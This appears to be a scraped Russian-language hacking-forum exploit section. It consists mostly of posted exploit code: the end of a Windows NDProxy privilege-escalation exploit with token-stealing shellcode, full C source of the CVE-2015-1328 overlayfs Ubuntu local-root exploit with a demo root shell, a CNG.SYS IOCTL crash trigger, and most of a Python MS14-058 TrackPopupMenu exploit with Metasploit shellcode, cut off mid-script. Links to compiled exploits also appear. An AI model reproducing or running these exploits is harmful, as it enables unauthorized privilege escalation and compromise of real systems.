    DeviceIoControl (ndProxyDeviceHandle, 0x8fff23cc, inputBuffer, 0x54, inputBuffer, 0x24, &returnedBytes, 0);
    CloseHandle (ndProxyDeviceHandle);
    system ("cmd.exe /T:C0 /K cd c:\\windows\\system32");
    return 0;
}
 
 
 
int main (int argc, char **argv)
{
    if (argc != 2)
    {
        printf ("[*] Usage: %s OS_TYPE\n", argv[0]);
        printf ("           supported OS_TYPE:\n");
        printf ("                  XP  - Windows XP SP3 x86\n");
        printf ("                  2k3 - Windows 2003 SP2 x86\n");
        printf ("[*] Note:  the service \"Routing and Remote Access\"\n");
        printf ("           must be running on the target machine\n");
        exit (0);
    }
    else
    {
        if ((strcmp (argv[1], "xp") == 0) || (strcmp (argv[1], "XP") == 0))
        {
            unsigned char shellcodeXP[] =
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
            "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"
            "\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"
            "\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";
            exploit (shellcodeXP);
        }
        else if ((strcmp (argv[1], "2k3") == 0) || (strcmp (argv[1], "2K3") == 0))
        {
            unsigned char shellcode2k3[] =
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
            "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x38\x8B\xC8\x8B"
            "\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x83\xB8\x94\x00\x00\x00"
            "\x04\x75\xEC\x8B\x90\xD8\x00\x00\x00\x89\x91\xD8\x00\x00\x00\xC3";
            exploit (shellcode2k3);
        }
        else
        {
            printf ("[-] Invalid argument\n");
            printf ("    Argument used: %s\n", argv[1]);
            exit(0);
        }
    }
}
Microsoft Word Local Machine Zone
ID: 67686ba3b4103b69df379d16
Thread ID: 25994
Created: 2015-07-21T15:06:34+0000
Last Post: 2015-07-29T21:22:13+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 2K

Microsoft Word, Excel, and Powerpoint 2007 contain a remote code execution vulnerability because it is possible to reference documents such as Works document (.wps) as HTML. It will process HTML and script code in the context of the local machine zone of Internet Explorer which leads to arbitrary code execution. By persuading users into opening eg. specially crafted .WPS, ".doc ", ".RTF " (with a space at the end) it is possible to trigger the vulnerability and run arbitrary code in the context of the logged on Windows user.

Click to expand...

:zns5: Скачать|Download

Источник:[https://packetstormsecurity.com/files/13276...-Execution.html](https://packetstormsecurity.com/files/132761/Microsoft- Word-Local-Machine-Zone-Remote-Code-Execution.html)

Hacking Team win8.1 32bit exp
ID: 67686ba3b4103b69df379d17
Thread ID: 25973
Created: 2015-07-08T11:37:58+0000
Last Post: 2015-07-08T11:37:58+0000
Author: krest
Prefix: Local
Replies: 0 Views: 2K

Еще один эксплоит (уже скомпилированный) для повышения привилегий. Работает до win8.1 32bit
_http://rghost.net/64R7KqCg5

Ubuntu 12.04, 14.04, 14.10, 15.04
ID: 67686ba3b4103b69df379d18
Thread ID: 25938
Created: 2015-06-16T14:26:48+0000
Last Post: 2015-06-18T12:51:54+0000
Author: DarckSol
Prefix: Local
Replies: 4 Views: 2K

Code:Copy to clipboard

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
 
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
 
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
 
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
 
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
 
static char child_stack[1024*1024];
 
static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);
 
    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";
 
    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");
 
    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }
 
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}
 
int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
 
    fprintf(stderr,"spawning threads\n");
 
    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");
 
        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }
 
            waitpid(pid, &status, 0);
 
        }
 
        waitpid(init, &status, 0);
        return 0;
    }
 
    usleep(300000);
 
    wait(NULL);
 
    fprintf(stderr,"child threads done\n");
 
    fd = open("/etc/ld.so.preload",O_WRONLY);
 
    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }
 
    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
Windows - CNG.SYS Kernel
ID: 67686ba3b4103b69df379d19
Thread ID: 25885
Created: 2015-05-21T15:42:04+0000
Last Post: 2015-05-21T15:42:04+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 2K

Code:Copy to clipboard

// Source: http://www.binvul.com/viewthread.php?tid=508
// Source: https://twitter.com/NTarakanov/status/598370525132423168
  
  
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma  comment(lib, "ntdll.lib")
  
  
  
int main(int argc, CHAR* argv[]) {
        typedef NTSTATUS  (__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
        NT_OPEN_FILE NtOpenFileStruct;
  
        PVOID Info;
        HMODULE hModule = LoadLibrary(("ntdll.dll"));
        NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
        if(NtOpenFileStruct == NULL) {
                exit(-1);
        }
          
  
  
        UNICODE_STRING filename;
        RtlInitUnicodeString(&filename, L"\\Device\\CNG");
  
          
        OBJECT_ATTRIBUTES obja;
        obja.Attributes        =        0x40;
        obja.ObjectName =   &filename;
        obja.Length                =        0x18;
        obja.RootDirectory        =        NULL;
        obja.SecurityDescriptor        =        NULL;
        obja.SecurityQualityOfService        =        NULL;
          
        IO_STATUS_BLOCK iostatusblock;
        HANDLE hCNG   = NULL;
        NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20);
        if(NT_SUCCESS(stat)) {
                printf("File successfully opened.\n");
        }
        else {
                printf("File could not be opened.\n");
                return -1;
        }
        DWORD dwBuffer = 0;
        DWORD dwCnt           = 0;
        BOOL  bRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL);
        if (FALSE == bRet)
        {
                printf("[*]Send IOCTL fail!\n");
                printf("[*]Error Code:%d\n", GetLastError());
        }
        else
        {
                printf("[*]0x%08x\n", dwBuffer);        
        }
        CloseHandle(hCNG);
        getchar();
        return 0;
}
Windows 8.0 - 8.1 x64 TrackPopupMenu
ID: 67686ba3b4103b69df379d1a
Thread ID: 25882
Created: 2015-05-20T07:23:31+0000
Last Post: 2015-05-20T07:23:31+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

Code:Copy to clipboard

# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)
# CVE-2014-4113 Privilege Escalation
# http://www.offensive-security.com
# Thx to Moritz Jodeit for the beautiful writeup 
# http://www.exploit-db.com/docs/35152.pdf 
# Target OS Windows 8.0 - 8.1 x64
# Author: Matteo Memelli ryujin <at> offensive-security.com
  
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, threading, signal
  
ULONG_PTR = PVOID = LPVOID
HCURSOR = HICON
PDWORD = POINTER(DWORD)
PQWORD = POINTER(LPVOID)
LRESULT = LPVOID
UCHAR = c_ubyte
QWORD = c_ulonglong
CHAR = c_char
NTSTATUS = DWORD
MIIM_STRING  = 0x00000040
MIIM_SUBMENU = 0x00000004
WH_CALLWNDPROC = 0x4
GWLP_WNDPROC = -0x4
NULL = 0x0
SystemExtendedHandleInformation = 64
ObjectDataInformation = 2
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
STATUS_SUCCESS = 0
TOKEN_ALL_ACCESS = 0xf00ff
DISABLE_MAX_PRIVILEGE = 0x1
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM  = ( 0x1000 | 0x2000 )
TH32CS_SNAPPROCESS = 0x02
  
WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)
WNDPROC  = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)
  
bWndProcFlag = False
bHookCallbackFlag = False
EXPLOITED = False
Hmenu01 = Hmenu02 = None
  
# /*
#  * windows/x64/exec - 275 bytes
#  * http://www.metasploit.com
#  * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
#  * CMD=cmd.exe
#  */
SHELLCODE = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")
  
class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]
  
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
   
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", PVOID),
        ("Reserved", PVOID),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]
  
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]
      
class MENUITEMINFO(Structure):
    """Contains information about a menu item."""
    _fields_ = [
        ("cbSize"       , UINT),
        ("fMask"        , UINT),
        ("fType"        , UINT),
        ("fState"       , UINT),
        ("wID"          , UINT),
        ("hSubMenu"     , HMENU),
        ("hbmpChecked"  , HBITMAP),
        ("hbmpUnchecked", HBITMAP),
        ("dwItemData"   , ULONG_PTR),
        ("dwTypeData"   , LPWSTR),
        ("cch"          , UINT),
        ("hbmpItem"     , HBITMAP),
    ]
  
class WNDCLASS(Structure):
    """Contains the window class attributes that are registered by the 
       RegisterClass function."""
    _fields_ = [
        ("style"        , UINT),
        ("lpfnWndProc"  , WNDPROC),
        ("cbClsExtra"   , INT),
        ("cbWndExtra"   , INT),
        ("hInstance"    , HINSTANCE),
        ("hIcon"        , HCURSOR),
        ("hCursor"      , HBITMAP),
        ("hbrBackground", HBRUSH),
        ("lpszMenuName" , LPWSTR),
        ("lpszClassName", LPWSTR),
    ]
      
class PROCESSENTRY32(Structure):
    """Describes an entry from a list of the processes residing in the system
       address space when a snapshot was taken."""
    _fields_ = [ ( 'dwSize' , DWORD ) ,
                 ( 'cntUsage' , DWORD) ,
                 ( 'th32ProcessID' , DWORD) ,
                 ( 'th32DefaultHeapID' , POINTER(ULONG)) ,
                 ( 'th32ModuleID' , DWORD) ,
                 ( 'cntThreads' , DWORD) ,
                 ( 'th32ParentProcessID' , DWORD) ,
                 ( 'pcPriClassBase' , LONG) ,
                 ( 'dwFlags' , DWORD) ,
                 ( 'szExeFile' , CHAR * MAX_PATH ) 
    ]
      
user32                                      = windll.user32
kernel32                                    = windll.kernel32
ntdll                                       = windll.ntdll
advapi32                                    = windll.advapi32
  
user32.PostMessageW.argtypes                = [HWND, UINT, WPARAM, LPARAM]
user32.PostMessageW.restype                 = BOOL
user32.DefWindowProcW.argtypes              = [HWND, UINT, WPARAM, LPARAM]
user32.DefWindowProcW.restype               = LRESULT
user32.UnhookWindowsHook.argtypes           = [DWORD, WinFunc1]
user32.UnhookWindowsHook.restype            = BOOL
user32.SetWindowLongPtrW.argtypes           = [HWND, DWORD, WinFunc2]
user32.SetWindowLongPtrW.restype            = LPVOID
user32.CallNextHookEx.argtypes              = [DWORD, DWORD, WPARAM, LPARAM]
user32.CallNextHookEx.restype               = LRESULT
user32.RegisterClassW.argtypes              = [LPVOID]
user32.RegisterClassW.restype               = BOOL
user32.CreateWindowExW.argtypes             = [DWORD, LPWSTR, LPWSTR, DWORD, 
                                                INT, INT, INT, INT, HWND, HMENU,
                                                HINSTANCE, LPVOID]
user32.CreateWindowExW.restype              = HWND
user32.InsertMenuItemW.argtypes             = [HMENU, UINT, BOOL, LPVOID]
user32.InsertMenuItemW.restype              = BOOL
user32.DestroyMenu.argtypes                 = [HMENU]
user32.DestroyMenu.restype                  = BOOL
user32.SetWindowsHookExW.argtypes           = [DWORD, WinFunc1, DWORD, DWORD]
user32.SetWindowsHookExW.restype            = BOOL
user32.TrackPopupMenu.argtypes              = [HMENU, UINT, INT, INT, INT, HWND,
                                                DWORD]
user32.TrackPopupMenu.restype               = BOOL
advapi32.OpenProcessToken.argtypes          = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype           = BOOL
advapi32.CreateRestrictedToken.argtypes     = [HANDLE, DWORD, DWORD, DWORD, 
                                                DWORD, DWORD, DWORD, DWORD,
                                                POINTER(HANDLE)]
advapi32.CreateRestrictedToken.restype      = BOOL
advapi32.AdjustTokenPrivileges.argtypes     = [HANDLE, BOOL, DWORD, DWORD, 
                                                DWORD, DWORD]
advapi32.AdjustTokenPrivileges.restype      = BOOL
advapi32.ImpersonateLoggedOnUser.argtypes   = [HANDLE]
advapi32.ImpersonateLoggedOnUser.restype    = BOOL
kernel32.GetCurrentProcess.restype          = HANDLE
kernel32.WriteProcessMemory.argtypes        = [HANDLE, QWORD, LPCSTR, DWORD, 
                                                POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype         = BOOL
kernel32.OpenProcess.argtypes               = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype                = HANDLE
kernel32.VirtualAllocEx.argtypes            = [HANDLE, LPVOID, DWORD, DWORD, 
                                                DWORD]
kernel32.VirtualAllocEx.restype             = LPVOID
kernel32.CreateRemoteThread.argtypes        = [HANDLE, QWORD, UINT, QWORD, 
                                                LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype         = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes  = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype   = HANDLE
kernel32.CloseHandle.argtypes               = [HANDLE]
kernel32.CloseHandle.restype                = BOOL
kernel32.Process32First.argtypes            = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32First.restype             = BOOL
kernel32.Process32Next.argtypes             = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32Next.restype              = BOOL
kernel32.GetCurrentThreadId.restype         = DWORD
ntdll.NtAllocateVirtualMemory.argtypes      = [HANDLE, LPVOID, ULONG, LPVOID,
                                                ULONG, DWORD]
ntdll.NtAllocateVirtualMemory.restype       = NTSTATUS
ntdll.NtQueryObject.argtypes                = [HANDLE, DWORD,
                                        POINTER(PUBLIC_OBJECT_TYPE_INFORMATION),
                                        DWORD, DWORD]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes     = [DWORD, 
                                        POINTER(SYSTEM_HANDLE_INFORMATION_EX), 
                                        DWORD, POINTER(DWORD)]
ntdll.NtQuerySystemInformation.restype      = NTSTATUS
  
  
def log(msg, e=None):
    if e == "e":
        msg = "[!] " + msg
    if e == "d":
        msg = "[*] " + msg
    else:
        msg = "[+] " + msg
    print msg
  
  
def getLastError():
    """Format GetLastError"""
      
    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
            kernel32.GetLastError(), 0,
            buf, sizeof(buf), NULL):
        log(buf.value, "e")
    else:
        log("Unknown Error", "e")
      
      
class x_file_handles (Exception):
    pass
  
  
def get_type_info(handle):
    """Get the handle type information."""
      
    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = ntdll.NtQueryObject(handle, ObjectDataInformation, 
                    byref(public_object_type_information), size, 0x0)
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return "INVALID HANDLE: %s" % hex(handle)
        else:
            raise x_file_handles("NtQueryObject", hex(result))
  
  
def get_handles():
    """Return all the open handles in the system"""
      
    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD (sizeof (system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))
  
    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object
              
              
def WndProc(hwnd, message, wParam, lParam):
    """Window procedure"""
      
    global bWndProcFlag
    if message == 289 and not bWndProcFlag:
        bWndProcFlag = True
        user32.PostMessageW(hwnd, 256, 40, 0)
        user32.PostMessageW(hwnd, 256, 39, 0)
        user32.PostMessageW(hwnd, 513, 0, 0)
    return user32.DefWindowProcW(hwnd, message, wParam, lParam)
      
      
def hook_callback_one(code, wParam, lParam):
    """Sets a new address for the window procedure"""
      
    global bHookCallbackFlag
    if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\
     not bHookCallbackFlag:
        bHookCallbackFlag = True
        if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01):
            # Sets a new address for the window procedure
            log("Callback triggered!")
            log("Setting the new address for the window procedure...")
            lpPrevWndFunc = user32.SetWindowLongPtrW\
             ((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value,
               GWLP_WNDPROC, CALLBACK02)
    return user32.CallNextHookEx(0, code, wParam, lParam)
  
  
def hook_callback_two(hWnd, Msg, wParam, lParam):
    """Once called will return the fake tagWND address"""
      
    global EXPLOITED
    user32.EndMenu()
    EXPLOITED = True
    log("Returning the fake tagWND and overwriting token privileges...")
    return 0x00000000FFFFFFFB
  
  
def buildMenuAndTrigger():
    """Create menus and invoke TrackPopupMenu"""
      
    global Hmenu01, Hmenu02
    log("Creating windows and menus...")
    wndClass = WNDCLASS()
    wndClass.lpfnWndProc = WNDPROC(WndProc)
    wndClass.lpszClassName = u"pwned"
    wndClass.cbClsExtra = wndClass.cbWndExtra = 0
      
    # Registering Class
    if not user32.RegisterClassW(addressof(wndClass)):
        log("RegisterClassW failed", "e")
        sys.exit()
          
    # Creating the Window                                 
    hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0,
                                  0, NULL, NULL, NULL, NULL)
                                    
    if not hWnd:
        log("CreateWindowExW Failed", "e")
        sys.exit()
          
    # Creating popup menu
    user32.CreatePopupMenu.restype = HMENU
    Hmenu01 = user32.CreatePopupMenu()
    if not Hmenu01:
        log("CreatePopupMenu failed 0x1", "e")
        sys.exit()
    Hmenu01Info = MENUITEMINFO()
    Hmenu01Info.cbSize = sizeof(MENUITEMINFO)
    Hmenu01Info.fMask = MIIM_STRING
      
    # Insert first menu
    if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)):
        log("Error in InsertMenuItema 0x1", "e")
        user32.DestroyMenu(Hmenu01)
        sys.exit()
          
    # Creating second menu
    Hmenu02 = user32.CreatePopupMenu()
    if not Hmenu02:
        log("CreatePopupMenu failed 0x2", "e")
        sys.exit()
    Hmenu02Info = MENUITEMINFO()
    Hmenu02Info.cbSize = sizeof(MENUITEMINFO)
    Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU)
    Hmenu02Info.dwTypeData = ""
    Hmenu02Info.cch = 1
    Hmenu02Info.hSubMenu = Hmenu01
      
    # Insert second menu
    if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)):
        log("Error in InsertMenuItema 0x2", "e")
        user32.DestroyMenu(Hmenu01)
        user32.DestroyMenu(Hmenu01)
        sys.exit()    
          
    # Set window callback
    tid = kernel32.GetCurrentThreadId()
    if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid):
        log("Failed SetWindowsHookExA 0x1", "e")
        sys.exit()
          
    # Crash it!
    log("Invoking TrackPopupMenu...")  
    user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL)
  
  
def alloctagWND():
    """Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""  
      
    hProcess = HANDLE(kernel32.GetCurrentProcess())
    hToken = HANDLE()
    hRestrictedToken = HANDLE()
      
    if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)):
        log("Could not open current process token", "e")
        getLastError()
        sys.exit()
    if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0, 
                                    0, 0, 0, 0, byref(hRestrictedToken)):
        log("Could not create the restricted token", "e")
        getLastError()
        sys.exit()
    if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0, 
                                          NULL, NULL):
        log("Could not adjust privileges to the restricted token", "e")
        getLastError()
        sys.exit()        
      
    # Leak Token addresses in kernel space
    log("Leaking token addresses from kernel space...")
    for pid, handle, obj in get_handles():
        if pid==os.getpid() and get_type_info(handle) == "Token":
            if hToken.value == handle:
                log("Current process token address: %x" % obj)
            if hRestrictedToken.value == handle:
                log("Restricted token address: %x" % obj)
                RestrictedToken = obj
                  
    CurrentProcessWin32Process = "\x00"*8
    # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES
    # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8 
    TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8)
